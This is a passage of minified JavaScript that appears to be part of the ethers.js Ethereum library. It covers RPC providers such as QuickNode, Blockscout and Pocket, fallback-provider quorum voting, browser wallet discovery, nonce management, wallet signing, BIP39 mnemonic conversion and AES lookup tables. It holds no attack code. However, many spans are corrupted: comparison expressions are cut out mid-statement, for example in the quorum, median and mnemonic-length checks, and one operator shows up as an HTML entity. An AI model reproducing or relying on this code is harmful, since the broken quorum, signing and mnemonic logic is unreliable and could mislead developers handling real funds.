getHost$1(name){switch(name){case"mainnet":return"ethers.quiknode.pro";case"goerli":return"ethers.ethereum-goerli.quiknode.pro";case"sepolia":return"ethers.ethereum-sepolia.quiknode.pro";case"holesky":return"ethers.ethereum-holesky.quiknode.pro";case"arbitrum":return"ethers.arbitrum-mainnet.quiknode.pro";case"arbitrum-goerli":return"ethers.arbitrum-goerli.quiknode.pro";case"arbitrum-sepolia":return"ethers.arbitrum-sepolia.quiknode.pro";case"base":return"ethers.base-mainnet.quiknode.pro";case"base-goerli":return"ethers.base-goerli.quiknode.pro";case"base-spolia":return"ethers.base-sepolia.quiknode.pro";case"bnb":return"ethers.bsc.quiknode.pro";case"bnbt":return"ethers.bsc-testnet.quiknode.pro";case"matic":return"ethers.matic.quiknode.pro";case"matic-mumbai":return"ethers.matic-testnet.quiknode.pro";case"optimism":return"ethers.optimism.quiknode.pro";case"optimism-goerli":return"ethers.optimism-goerli.quiknode.pro";case"optimism-sepolia":return"ethers.optimism-sepolia.quiknode.pro";case"xdai":return"ethers.xdai.quiknode.pro"}assertArgument(false,"unsupported network","network",name)}class QuickNodeProvider extends JsonRpcProvider{token;constructor(_network,token){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(token==null){token=defaultToken}const request=QuickNodeProvider.getRequest(network,token);super(request,network,{staticNetwork:network});defineProperties(this,{token:token})}_getProvider(chainId){try{return new QuickNodeProvider(chainId,this.token)}catch(error){}return super._getProvider(chainId)}isCommunityResource(){return this.token===defaultToken}static getRequest(network,token){if(token==null){token=defaultToken}const request=new FetchRequest(`https:/\/${getHost$1(network.name)}/${token}`);request.allowGzip=true;if(token===defaultToken){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("QuickNodeProvider");return true}}return request}}const BN_1=BigInt("1");const BN_2=BigInt("2");function shuffle(array){for(let i=array.length-1;i>0;i--){const j=Math.floor(Math.random()*(i+1));const tmp=array[i];array[i]=array[j];array[j]=tmp}}function stall$2(duration){return new Promise(resolve=>{setTimeout(resolve,duration)})}function getTime(){return(new Date).getTime()}function stringify(value){return JSON.stringify(value,(key,value)=>{if(typeof value==="bigint"){return{type:"bigint",value:value.toString()}}return value})}const defaultConfig={stallTimeout:400,priority:1,weight:1};const defaultState={blockNumber:-2,requests:0,lateResponses:0,errorResponses:0,outOfSync:-1,unsupportedEvents:0,rollingDuration:0,score:0,_network:null,_updateNumber:null,_totalTime:0,_lastFatalError:null,_lastFatalErrorTimestamp:0};async function waitForSync(config,blockNumber){while(config.blockNumber<0||config.blockNumber{try{const blockNumber=await config.provider.getBlockNumber();if(blockNumber>config.blockNumber){config.blockNumber=blockNumber}}catch(error){config.blockNumber=-2;config._lastFatalError=error;config._lastFatalErrorTimestamp=getTime()}config._updateNumber=null})()}await config._updateNumber;config.outOfSync++;if(config._lastFatalError){break}}}function _normalize(value){if(value==null){return"null"}if(Array.isArray(value)){return"["+value.map(_normalize).join(",")+"]"}if(typeof value==="object"&&typeof value.toJSON==="function"){return _normalize(value.toJSON())}switch(typeof value){case"boolean":case"symbol":return value.toString();case"bigint":case"number":return BigInt(value).toString();case"string":return JSON.stringify(value);case"object":{const keys=Object.keys(value);keys.sort();return"{"+keys.map(k=>`${JSON.stringify(k)}:${_normalize(value[k])}`).join(",")+"}"}}console.log("Could not serialize",value);throw new Error("Hmm...")}function normalizeResult(method,value){if("error"in value){const error=value.error;let tag;if(isError(error,"CALL_EXCEPTION")){tag=_normalize(Object.assign({},error,{shortMessage:undefined,reason:undefined,info:undefined}))}else{tag=_normalize(error)}return{tag:tag,value:error}}const result=value.result;return{tag:_normalize(result),value:result}}function checkQuorum(quorum,results){const tally=new Map;for(const{value,tag,weight}of results){const t=tally.get(tag)||{value:value,weight:0};t.weight+=weight;tally.set(tag,t)}let best=null;for(const r of tally.values()){if(r.weight>=quorum&&(!best||r.weight>best.weight)){best=r}}if(best){return best.value}return undefined}function getMedian(quorum,results){let resultWeight=0;const errorMap=new Map;let bestError=null;const values=[];for(const{value,tag,weight}of results){if(value instanceof Error){const e=errorMap.get(tag)||{value:value,weight:0};e.weight+=weight;errorMap.set(tag,e);if(bestError==null||e.weight>bestError.weight){bestError=e}}else{values.push(BigInt(value));resultWeight+=weight}}if(resultWeight=quorum){return bestError.value}return undefined}values.sort((a,b)=>aa?1:0);const mid=Math.floor(values.length/2);if(values.length%2){return values[mid]}return(values[mid-1]+values[mid]+BN_1)/BN_2}function getAnyResult(quorum,results){const result=checkQuorum(quorum,results);if(result!==undefined){return result}for(const r of results){if(r.value){return r.value}}return undefined}function getFuzzyMode(quorum,results){if(quorum===1){return getNumber(getMedian(quorum,results),"%internal")}const tally=new Map;const add=(result,weight)=>{const t=tally.get(result)||{result:result,weight:0};t.weight+=weight;tally.set(result,t)};for(const{weight,value}of results){const r=getNumber(value);add(r-1,weight);add(r,weight);add(r+1,weight)}let bestWeight=0;let bestResult=undefined;for(const{weight,result}of tally.values()){if(weight>=quorum&&(weight>bestWeight||bestResult!=null&&weight===bestWeight&&result>bestResult)){bestWeight=weight;bestResult=result}}return bestResult}class FallbackProvider extends AbstractProvider{quorum;eventQuorum;eventWorkers;#configs;#height;#initialSyncPromise;constructor(providers,network,options){super(network,options);this.#configs=providers.map(p=>{if(p instanceof AbstractProvider){return Object.assign({provider:p},defaultConfig,defaultState)}else{return Object.assign({},defaultConfig,p,defaultState)}});this.#height=-2;this.#initialSyncPromise=null;if(options&&options.quorum!=null){this.quorum=options.quorum}else{this.quorum=Math.ceil(this.#configs.reduce((accum,config)=>{accum+=config.weight;return accum},0)/2)}this.eventQuorum=1;this.eventWorkers=1;assertArgument(this.quorum<=this.#configs.reduce((a,c)=>a+c.weight,0),"quorum exceed provider weight","quorum",this.quorum)}get providerConfigs(){return this.#configs.map(c=>{const result=Object.assign({},c);for(const key in result){if(key[0]==="_"){delete result[key]}}return result})}async _detectNetwork(){return Network.from(getBigInt(await this._perform({method:"chainId"})))}async _translatePerform(provider,req){switch(req.method){case"broadcastTransaction":return await provider.broadcastTransaction(req.signedTransaction);case"call":return await provider.call(Object.assign({},req.transaction,{blockTag:req.blockTag}));case"chainId":return(await provider.getNetwork()).chainId;case"estimateGas":return await provider.estimateGas(req.transaction);case"getBalance":return await provider.getBalance(req.address,req.blockTag);case"getBlock":{const block="blockHash"in req?req.blockHash:req.blockTag;return await provider.getBlock(block,req.includeTransactions)}case"getBlockNumber":return await provider.getBlockNumber();case"getCode":return await provider.getCode(req.address,req.blockTag);case"getGasPrice":return(await provider.getFeeData()).gasPrice;case"getPriorityFee":return(await provider.getFeeData()).maxPriorityFeePerGas;case"getLogs":return await provider.getLogs(req.filter);case"getStorage":return await provider.getStorage(req.address,req.position,req.blockTag);case"getTransaction":return await provider.getTransaction(req.hash);case"getTransactionCount":return await provider.getTransactionCount(req.address,req.blockTag);case"getTransactionReceipt":return await provider.getTransactionReceipt(req.hash);case"getTransactionResult":return await provider.getTransactionResult(req.hash)}}#getNextConfig(running){const configs=Array.from(running).map(r=>r.config);const allConfigs=this.#configs.slice();shuffle(allConfigs);allConfigs.sort((a,b)=>a.priority-b.priority);for(const config of allConfigs){if(config._lastFatalError){continue}if(configs.indexOf(config)===-1){return config}}return null}#addRunner(running,req){const config=this.#getNextConfig(running);if(config==null){return null}const runner={config:config,result:null,didBump:false,perform:null,staller:null};const now=getTime();runner.perform=(async()=>{try{config.requests++;const result=await this._translatePerform(config.provider,req);runner.result={result:result}}catch(error){config.errorResponses++;runner.result={error:error}}const dt=getTime()-now;config._totalTime+=dt;config.rollingDuration=.95*config.rollingDuration+.05*dt;runner.perform=null})();runner.staller=(async()=>{await stall$2(config.stallTimeout);runner.staller=null})();running.add(runner);return runner}async#initialSync(){let initialSync=this.#initialSyncPromise;if(!initialSync){const promises=[];this.#configs.forEach(config=>{promises.push((async()=>{await waitForSync(config,0);if(!config._lastFatalError){config._network=await config.provider.getNetwork()}})())});this.#initialSyncPromise=initialSync=(async()=>{await Promise.all(promises);let chainId=null;for(const config of this.#configs){if(config._lastFatalError){continue}const network=config._network;if(chainId==null){chainId=network.chainId}else if(network.chainId!==chainId){assert(false,"cannot mix providers on different networks","UNSUPPORTED_OPERATION",{operation:"new FallbackProvider"})}}})()}await initialSync}async#checkQuorum(running,req){const results=[];for(const runner of running){if(runner.result!=null){const{tag,value}=normalizeResult(req.method,runner.result);results.push({tag:tag,value:value,weight:runner.config.weight})}}if(results.reduce((a,r)=>a+r.weight,0)!c._lastFatalError).map(c=>({value:c.blockNumber,tag:getNumber(c.blockNumber).toString(),weight:c.weight})))))}const mode=getFuzzyMode(this.quorum,results);if(mode===undefined){return undefined}if(mode>this.#height){this.#height=mode}return this.#height}case"getGasPrice":case"getPriorityFee":case"estimateGas":return getMedian(this.quorum,results);case"getBlock":if("blockTag"in req&&req.blockTag==="pending"){return getAnyResult(this.quorum,results)}return checkQuorum(this.quorum,results);case"call":case"chainId":case"getBalance":case"getTransactionCount":case"getCode":case"getStorage":case"getTransaction":case"getTransactionReceipt":case"getLogs":return checkQuorum(this.quorum,results);case"broadcastTransaction":return getAnyResult(this.quorum,results)}assert(false,"unsupported method","UNSUPPORTED_OPERATION",{operation:`_perform(${stringify(req.method)})`})}async#waitForQuorum(running,req){if(running.size===0){throw new Error("no runners?!")}const interesting=[];let newRunners=0;for(const runner of running){if(runner.perform){interesting.push(runner.perform)}if(runner.staller){interesting.push(runner.staller);continue}if(runner.didBump){continue}runner.didBump=true;newRunners++}const value=await this.#checkQuorum(running,req);if(value!==undefined){if(value instanceof Error){throw value}return value}for(let i=0;i0,"quorum not met","SERVER_ERROR",{request:"%sub-requests",info:{request:req,results:Array.from(running).map(r=>stringify(r.result))}});await Promise.race(interesting);return await this.#waitForQuorum(running,req)}async _perform(req){if(req.method==="broadcastTransaction"){const results=this.#configs.map(c=>null);const broadcasts=this.#configs.map(async({provider,weight},index)=>{try{const result=await provider._perform(req);results[index]=Object.assign(normalizeResult(req.method,{result:result}),{weight:weight})}catch(error){results[index]=Object.assign(normalizeResult(req.method,{error:error}),{weight:weight})}});while(true){const done=results.filter(r=>r!=null);for(const{value}of done){if(!(value instanceof Error)){return value}}const result=checkQuorum(this.quorum,results.filter(r=>r!=null));if(isError(result,"INSUFFICIENT_FUNDS")){throw result}const waiting=broadcasts.filter((b,i)=>results[i]==null);if(waiting.length===0){break}await Promise.race(waiting)}const result=getAnyResult(this.quorum,results);assert(result!==undefined,"problem multi-broadcasting","SERVER_ERROR",{request:"%sub-requests",info:{request:req,results:results.map(stringify)}});if(result instanceof Error){throw result}return result}await this.#initialSync();const running=new Set;let inflightQuorum=0;while(true){const runner=this.#addRunner(running,req);if(runner==null){break}inflightQuorum+=runner.config.weight;if(inflightQuorum>=this.quorum){break}}const result=await this.#waitForQuorum(running,req);for(const runner of running){if(runner.perform&&runner.result==null){runner.config.lateResponses++}}return result}async destroy(){for(const{provider}of this.#configs){provider.destroy()}super.destroy()}}function isWebSocketLike(value){return value&&typeof value.send==="function"&&typeof value.close==="function"}const Testnets="goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt".split(" ");function getDefaultProvider(network,options){if(options==null){options={}}const allowService=name=>{if(options[name]==="-"){return false}if(typeof options.exclusive==="string"){return name===options.exclusive}if(Array.isArray(options.exclusive)){return options.exclusive.indexOf(name)!==-1}return true};if(typeof network==="string"&&network.match(/^https?:/)){return new JsonRpcProvider(network)}if(typeof network==="string"&&network.match(/^wss?:/)||isWebSocketLike(network)){return new WebSocketProvider(network)}let staticNetwork=null;try{staticNetwork=Network.from(network)}catch(error){}const providers=[];if(allowService("publicPolygon")&&staticNetwork){if(staticNetwork.name==="matic"){providers.push(new JsonRpcProvider("https://polygon-rpc.com/",staticNetwork,{staticNetwork:staticNetwork}))}else if(staticNetwork.name==="matic-amoy"){providers.push(new JsonRpcProvider("https://rpc-amoy.polygon.technology/",staticNetwork,{staticNetwork:staticNetwork}))}}if(allowService("alchemy")){try{providers.push(new AlchemyProvider(network,options.alchemy))}catch(error){}}if(allowService("ankr")&&options.ankr!=null){try{providers.push(new AnkrProvider(network,options.ankr))}catch(error){}}if(allowService("chainstack")){try{providers.push(new ChainstackProvider(network,options.chainstack))}catch(error){}}if(allowService("cloudflare")){try{providers.push(new CloudflareProvider(network))}catch(error){}}if(allowService("etherscan")){try{providers.push(new EtherscanProvider(network,options.etherscan))}catch(error){}}if(allowService("infura")){try{let projectId=options.infura;let projectSecret=undefined;if(typeof projectId==="object"){projectSecret=projectId.projectSecret;projectId=projectId.projectId}providers.push(new InfuraProvider(network,projectId,projectSecret))}catch(error){}}if(allowService("quicknode")){try{let token=options.quicknode;providers.push(new QuickNodeProvider(network,token))}catch(error){}}assert(providers.length,"unsupported default network","UNSUPPORTED_OPERATION",{operation:"getDefaultProvider"});if(providers.length===1){return providers[0]}let quorum=Math.floor(providers.length/2);if(quorum>2){quorum=2}if(staticNetwork&&Testnets.indexOf(staticNetwork.name)!==-1){quorum=1}if(options&&options.quorum){quorum=options.quorum}return new FallbackProvider(providers,undefined,{quorum:quorum})}class NonceManager extends AbstractSigner{signer;#noncePromise;#delta;constructor(signer){super(signer.provider);defineProperties(this,{signer:signer});this.#noncePromise=null;this.#delta=0}async getAddress(){return this.signer.getAddress()}connect(provider){return new NonceManager(this.signer.connect(provider))}async getNonce(blockTag){if(blockTag==="pending"){if(this.#noncePromise==null){this.#noncePromise=super.getNonce("pending")}const delta=this.#delta;return await this.#noncePromise+delta}return super.getNonce(blockTag)}increment(){this.#delta++}reset(){this.#delta=0;this.#noncePromise=null}async sendTransaction(tx){const noncePromise=this.getNonce("pending");this.increment();tx=await this.signer.populateTransaction(tx);tx.nonce=await noncePromise;return await this.signer.sendTransaction(tx)}signTransaction(tx){return this.signer.signTransaction(tx)}signMessage(message){return this.signer.signMessage(message)}signTypedData(domain,types,value){return this.signer.signTypedData(domain,types,value)}}class BrowserProvider extends JsonRpcApiPollingProvider{#request;#providerInfo;constructor(ethereum,network,_options){const options=Object.assign({},_options!=null?_options:{},{batchMaxCount:1});assertArgument(ethereum&ðereum.request,"invalid EIP-1193 provider","ethereum",ethereum);super(network,options);this.#providerInfo=null;if(_options&&_options.providerInfo){this.#providerInfo=_options.providerInfo}this.#request=async(method,params)=>{const payload={method:method,params:params};this.emit("debug",{action:"sendEip1193Request",payload:payload});try{const result=await ethereum.request(payload);this.emit("debug",{action:"receiveEip1193Result",result:result});return result}catch(e){const error=new Error(e.message);error.code=e.code;error.data=e.data;error.payload=payload;this.emit("debug",{action:"receiveEip1193Error",error:error});throw error}}}get providerInfo(){return this.#providerInfo}async send(method,params){await this._start();return await super.send(method,params)}async _send(payload){assertArgument(!Array.isArray(payload),"EIP-1193 does not support batch request","payload",payload);try{const result=await this.#request(payload.method,payload.params||[]);return[{id:payload.id,result:result}]}catch(e){return[{id:payload.id,error:{code:e.code,data:e.data,message:e.message}}]}}getRpcError(payload,error){error=JSON.parse(JSON.stringify(error));switch(error.error.code||-1){case 4001:error.error.message=`ethers-user-denied: ${error.error.message}`;break;case 4200:error.error.message=`ethers-unsupported: ${error.error.message}`;break}return super.getRpcError(payload,error)}async hasSigner(address){if(address==null){address=0}const accounts=await this.send("eth_accounts",[]);if(typeof address==="number"){return accounts.length>address}address=address.toLowerCase();return accounts.filter(a=>a.toLowerCase()===address).length!==0}async getSigner(address){if(address==null){address=0}if(!await this.hasSigner(address)){try{await this.#request("eth_requestAccounts",[])}catch(error){const payload=error.payload;throw this.getRpcError(payload,{id:payload.id,error:error})}}return await super.getSigner(address)}static async discover(options){if(options==null){options={}}if(options.provider){return new BrowserProvider(options.provider)}const context=options.window?options.window:typeof window!=="undefined"?window:null;if(context==null){return null}const anyProvider=options.anyProvider;if(anyProvider&&context.ethereum){return new BrowserProvider(context.ethereum)}if(!("addEventListener"in context&&"dispatchEvent"in context&&"removeEventListener"in context)){return null}const timeout=options.timeout?options.timeout:300;if(timeout===0){return null}return await new Promise((resolve,reject)=>{let found=[];const addProvider=event=>{found.push(event.detail);if(anyProvider){finalize()}};const finalize=()=>{clearTimeout(timer);if(found.length){if(options&&options.filter){const filtered=options.filter(found.map(i=>Object.assign({},i.info)));if(filtered==null){resolve(null)}else if(filtered instanceof BrowserProvider){resolve(filtered)}else{let match=null;if(filtered.uuid){const matches=found.filter(f=>filtered.uuid===f.info.uuid);match=matches[0]}if(match){const{provider,info}=match;resolve(new BrowserProvider(provider,undefined,{providerInfo:info}))}else{reject(makeError("filter returned unknown info","UNSUPPORTED_OPERATION",{value:filtered}))}}}else{const{provider,info}=found[0];resolve(new BrowserProvider(provider,undefined,{providerInfo:info}))}}else{resolve(null)}context.removeEventListener("eip6963:announceProvider",addProvider)};const timer=setTimeout(()=>{finalize()},timeout);context.addEventListener("eip6963:announceProvider",addProvider);context.dispatchEvent(new Event("eip6963:requestProvider"))})}}function getUrl(name){switch(name){case"mainnet":return"https://eth.blockscout.com/api/eth-rpc";case"sepolia":return"https://eth-sepolia.blockscout.com/api/eth-rpc";case"holesky":return"https://eth-holesky.blockscout.com/api/eth-rpc";case"classic":return"https://etc.blockscout.com/api/eth-rpc";case"arbitrum":return"https://arbitrum.blockscout.com/api/eth-rpc";case"base":return"https://base.blockscout.com/api/eth-rpc";case"base-sepolia":return"https://base-sepolia.blockscout.com/api/eth-rpc";case"matic":return"https://polygon.blockscout.com/api/eth-rpc";case"optimism":return"https://optimism.blockscout.com/api/eth-rpc";case"optimism-sepolia":return"https://optimism-sepolia.blockscout.com/api/eth-rpc";case"xdai":return"https://gnosis.blockscout.com/api/eth-rpc"}assertArgument(false,"unsupported network","network",name)}class BlockscoutProvider extends JsonRpcProvider{apiKey;constructor(_network,apiKey){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(apiKey==null){apiKey=null}const request=BlockscoutProvider.getRequest(network);super(request,network,{staticNetwork:network});defineProperties(this,{apiKey:apiKey})}_getProvider(chainId){try{return new BlockscoutProvider(chainId,this.apiKey)}catch(error){}return super._getProvider(chainId)}isCommunityResource(){return this.apiKey===null}getRpcRequest(req){const resp=super.getRpcRequest(req);if(resp&&resp.method==="eth_estimateGas"&&resp.args.length==1){resp.args=resp.args.slice();resp.args.push("latest")}return resp}getRpcError(payload,_error){const error=_error?_error.error:null;if(error&&error.code===-32015&&!isHexString(error.data||"",true)){const panicCodes={"assert(false)":"01","arithmetic underflow or overflow":"11","division or modulo by zero":"12","out-of-bounds array access; popping on an empty array":"31","out-of-bounds access of an array or bytesN":"32"};let panicCode="";if(error.message==="VM execution error."){panicCode=panicCodes[error.data]||""}else if(panicCodes[error.message||""]){panicCode=panicCodes[error.message||""]}if(panicCode){error.message+=` (reverted: ${error.data})`;error.data="0x4e487b7100000000000000000000000000000000000000000000000000000000000000"+panicCode}}else if(error&&error.code===-32e3){if(error.message==="wrong transaction nonce"){error.message+=" (nonce too low)"}}return super.getRpcError(payload,_error)}static getRequest(network){const request=new FetchRequest(getUrl(network.name));request.allowGzip=true;return request}}const defaultApplicationId="62e1ad51b37b8e00394bda3b";function getHost(name){switch(name){case"mainnet":return"eth-mainnet.gateway.pokt.network";case"goerli":return"eth-goerli.gateway.pokt.network";case"matic":return"poly-mainnet.gateway.pokt.network";case"matic-mumbai":return"polygon-mumbai-rpc.gateway.pokt.network"}assertArgument(false,"unsupported network","network",name)}class PocketProvider extends JsonRpcProvider{applicationId;applicationSecret;constructor(_network,applicationId,applicationSecret){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(applicationId==null){applicationId=defaultApplicationId}if(applicationSecret==null){applicationSecret=null}const options={staticNetwork:network};const request=PocketProvider.getRequest(network,applicationId,applicationSecret);super(request,network,options);defineProperties(this,{applicationId:applicationId,applicationSecret:applicationSecret})}_getProvider(chainId){try{return new PocketProvider(chainId,this.applicationId,this.applicationSecret)}catch(error){}return super._getProvider(chainId)}static getRequest(network,applicationId,applicationSecret){if(applicationId==null){applicationId=defaultApplicationId}const request=new FetchRequest(`https:/\/${getHost(network.name)}/v1/lb/${applicationId}`);request.allowGzip=true;if(applicationSecret){request.setCredentials("",applicationSecret)}if(applicationId===defaultApplicationId){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("PocketProvider");return true}}return request}isCommunityResource(){return this.applicationId===defaultApplicationId}}const IpcSocketProvider=undefined;class BaseWallet extends AbstractSigner{address;#signingKey;constructor(privateKey,provider){super(provider);assertArgument(privateKey&&typeof privateKey.sign==="function","invalid private key","privateKey","[ REDACTED ]");this.#signingKey=privateKey;const address=computeAddress(this.signingKey.publicKey);defineProperties(this,{address:address})}get signingKey(){return this.#signingKey}get privateKey(){return this.signingKey.privateKey}async getAddress(){return this.address}connect(provider){return new BaseWallet(this.#signingKey,provider)}async signTransaction(tx){tx=copyRequest(tx);const{to,from}=await resolveProperties({to:tx.to?resolveAddress(tx.to,this):undefined,from:tx.from?resolveAddress(tx.from,this):undefined});if(to!=null){tx.to=to}if(from!=null){tx.from=from}if(tx.from!=null){assertArgument(getAddress(tx.from)===this.address,"transaction from address mismatch","tx.from",tx.from);delete tx.from}const btx=Transaction.from(tx);btx.signature=this.signingKey.sign(btx.unsignedHash);return btx.serialized}async signMessage(message){return this.signMessageSync(message)}signMessageSync(message){return this.signingKey.sign(hashMessage(message)).serialized}authorizeSync(auth){assertArgument(typeof auth.address==="string","invalid address for authorizeSync","auth.address",auth);const signature=this.signingKey.sign(hashAuthorization(auth));return Object.assign({},{address:getAddress(auth.address),nonce:getBigInt(auth.nonce||0),chainId:getBigInt(auth.chainId||0)},{signature:signature})}async authorize(auth){auth=Object.assign({},auth,{address:await resolveAddress(auth.address,this)});return this.authorizeSync(await this.populateAuthorization(auth))}async signTypedData(domain,types,value){const populated=await TypedDataEncoder.resolveNames(domain,types,value,async name=>{assert(this.provider!=null,"cannot resolve ENS names without a provider","UNSUPPORTED_OPERATION",{operation:"resolveName",info:{name:name}});const address=await this.provider.resolveName(name);assert(address!=null,"unconfigured ENS name","UNCONFIGURED_NAME",{value:name});return address});return this.signingKey.sign(TypedDataEncoder.hash(populated.domain,types,populated.value)).serialized}}const subsChrs=" !#$%&'()*+,-./<=>?@[]^_`{|}~";const Word=/^[a-z]*$/i;function unfold(words,sep){let initial=97;return words.reduce((accum,word)=>{if(word===sep){initial++}else if(word.match(Word)){accum.push(String.fromCharCode(initial)+word)}else{initial=97;accum.push(word)}return accum},[])}function decode(data,subs){for(let i=subsChrs.length-1;i>=0;i--){data=data.split(subsChrs[i]).join(subs.substring(2*i,2*i+2))}const clumps=[];const leftover=data.replace(/(:|([0-9])|([A-Z][a-z]*))/g,(all,item,semi,word)=>{if(semi){for(let i=parseInt(semi);i>=0;i--){clumps.push(";")}}else{clumps.push(item.toLowerCase())}return""});if(leftover){throw new Error(`leftovers: ${JSON.stringify(leftover)}`)}return unfold(unfold(clumps,";"),":")}function decodeOwl(data){assertArgument(data[0]==="0","unsupported auwl data","data",data);return decode(data.substring(1+2*subsChrs.length),data.substring(1,1+2*subsChrs.length))}class Wordlist{locale;constructor(locale){defineProperties(this,{locale:locale})}split(phrase){return phrase.toLowerCase().split(/\s+/g)}join(words){return words.join(" ")}}class WordlistOwl extends Wordlist{#data;#checksum;constructor(locale,data,checksum){super(locale);this.#data=data;this.#checksum=checksum;this.#words=null}get _data(){return this.#data}_decodeWords(){return decodeOwl(this.#data)}#words;#loadWords(){if(this.#words==null){const words=this._decodeWords();const checksum=id(words.join("\n")+"\n");if(checksum!==this.#checksum){throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`)}this.#words=words}return this.#words}getWord(index){const words=this.#loadWords();assertArgument(index>=0&&index=12&&words.length<=24,"invalid mnemonic length","mnemonic","[ REDACTED ]");const entropy=new Uint8Array(Math.ceil(11*words.length/8));let offset=0;for(let i=0;i=0,`invalid mnemonic word at index ${i}`,"mnemonic","[ REDACTED ]");for(let bit=0;bit<11;bit++){if(index&1<<10-bit){entropy[offset>>3]|=1<<7-offset%8}offset++}}const entropyBits=32*words.length/3;const checksumBits=words.length/3;const checksumMask=getUpperMask(checksumBits);const checksum=getBytes(sha256(entropy.slice(0,entropyBits/8)))[0]&checksumMask;assertArgument(checksum===(entropy[entropy.length-1]&checksumMask),"invalid mnemonic checksum","mnemonic","[ REDACTED ]");return hexlify(entropy.slice(0,entropyBits/8))}function entropyToMnemonic(entropy,wordlist){assertArgument(entropy.length%4===0&&entropy.length>=16&&entropy.length<=32,"invalid entropy size","entropy","[ REDACTED ]");if(wordlist==null){wordlist=LangEn.wordlist()}const indices=[0];let remainingBits=11;for(let i=0;i8){indices[indices.length-1]<<=8;indices[indices.length-1]|=entropy[i];remainingBits-=8}else{indices[indices.length-1]<<=remainingBits;indices[indices.length-1]|=entropy[i]>>8-remainingBits;indices.push(entropy[i]&getLowerMask(8-remainingBits));remainingBits+=3}}const checksumBits=entropy.length/4;const checksum=parseInt(sha256(entropy).substring(2,4),16)&getUpperMask(checksumBits);indices[indices.length-1]<<=checksumBits;indices[indices.length-1]|=checksum>>8-checksumBits;return wordlist.join(indices.map(index=>wordlist.getWord(index)))}const _guard$1={};class Mnemonic{phrase;password;wordlist;entropy;constructor(guard,entropy,phrase,password,wordlist){if(password==null){password=""}if(wordlist==null){wordlist=LangEn.wordlist()}assertPrivate(guard,_guard$1,"Mnemonic");defineProperties(this,{phrase:phrase,password:password,wordlist:wordlist,entropy:entropy})}computeSeed(){const salt=toUtf8Bytes("mnemonic"+this.password,"NFKD");return pbkdf2(toUtf8Bytes(this.phrase,"NFKD"),salt,2048,64,"sha512")}static fromPhrase(phrase,password,wordlist){const entropy=mnemonicToEntropy(phrase,wordlist);phrase=entropyToMnemonic(getBytes(entropy),wordlist);return new Mnemonic(_guard$1,entropy,phrase,password,wordlist)}static fromEntropy(_entropy,password,wordlist){const entropy=getBytes(_entropy,"entropy");const phrase=entropyToMnemonic(entropy,wordlist);return new Mnemonic(_guard$1,hexlify(entropy),phrase,password,wordlist)}static entropyToPhrase(_entropy,wordlist){const entropy=getBytes(_entropy,"entropy");return entropyToMnemonic(entropy,wordlist)}static phraseToEntropy(phrase,wordlist){return mnemonicToEntropy(phrase,wordlist)}static isValidMnemonic(phrase,wordlist){try{mnemonicToEntropy(phrase,wordlist);return true}catch(error){}return false}}var __classPrivateFieldGet$2=__$G&&__$G.__classPrivateFieldGet||function(receiver,state,kind,f){if(kind==="a"&&!f)throw new TypeError("Private accessor was defined without a getter");if(typeof state==="function"?receiver!==state||!f:!state.has(receiver))throw new TypeError("Cannot read private member from an object whose class did not declare it");return kind==="m"?f:kind==="a"?f.call(receiver):f?f.value:state.get(receiver)};var __classPrivateFieldSet$2=__$G&&__$G.__classPrivateFieldSet||function(receiver,state,value,kind,f){if(kind==="m")throw new TypeError("Private method is not writable");if(kind==="a"&&!f)throw new TypeError("Private accessor was defined without a setter");if(typeof state==="function"?receiver!==state||!f:!state.has(receiver))throw new TypeError("Cannot write private member to an object whose class did not declare it");return kind==="a"?f.call(receiver,value):f?f.value=value:state.set(receiver,value),value};var _AES_key,_AES_Kd,_AES_Ke;const numberOfRounds={16:10,24:12,32:14};const rcon=[1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145];const S=[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22];const Si=[82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,100,134,104,152,22,212,164,92,204,93,101,182,146,108,112,72,80,253,237,185,218,94,21,70,87,167,141,157,132,144,216,171,0,140,188,211,10,247,228,88,5,184,179,69,6,208,44,30,143,202,63,15,2,193,175,189,3,1,19,138,107,58,145,17,65,79,103,220,234,151,242,207,206,240,180,230,115,150,172,116,34,231,173,53,133,226,249,55,232,28,117,223,110,71,241,26,113,29,41,197,137,111,183,98,14,170,24,190,27,252,86,62,75,198,210,121,32,154,219,192,254,120,205,90,244,31,221,168,51,136,7,199,49,177,18,16,89,39,128,236,95,96,81,127,169,25,181,74,13,45,229,122,159,147,201,156,239,160,224,59,77,174,42,245,176,200,235,187,60,131,83,153,97,23,43,4,126,186,119,214,38,225,105,20,99,85,33,12,125];const 